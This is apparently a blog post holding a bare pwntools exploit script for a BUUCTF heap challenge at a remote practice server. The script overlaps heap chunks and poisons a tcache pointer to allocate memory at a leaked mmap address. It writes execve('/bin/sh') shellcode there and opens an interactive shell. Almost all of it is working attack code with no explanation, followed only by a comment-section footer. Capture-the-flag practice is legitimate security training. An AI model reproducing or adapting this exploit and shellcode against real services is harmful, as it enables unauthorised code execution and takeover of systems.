1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import* from LibcSearcher import * p=remote("node4.buuoj.cn",29573)
context(arch='amd64') context.log_level="debug" libc=ELF('./libc-2.27.so')
def add(size): p.sendlineafter('>> ','1') p.sendlineafter('Size: ',str(size)) def fill(index,content): p.sendlineafter('>> ','3') p.sendlineafter('Index: ',str(index)) p.sendlineafter('Content: ',content)
def dele(index): p.sendlineafter('>> ','2') p.sendlineafter('Index: ',str(index))
p.recvuntil('Mmap: ') mmap_addr=int(p.recv(12),16) print(hex(mmap_addr))
add(0x410) add(0x28) add(0x18) add(0x4f8) add(0x10)
dele(0)
payload=p64(0)*2+p64(0x420+0x20+0x30) fill(2,payload)
dele(3) dele(1) dele(2)
add(0x440) add(0x510)
payload='a'*(0x410)+p64(0)+p64(0x30)+p64(mmap_addr+0x10) fill(0,payload) fill(1,'\x30')
add(0x28) add(0x18)
add(0x28) add(0x18)
payload2 = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
fill(5,payload2) fill(6,p64(mmap_addr + 0x10))
add(0x10) p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~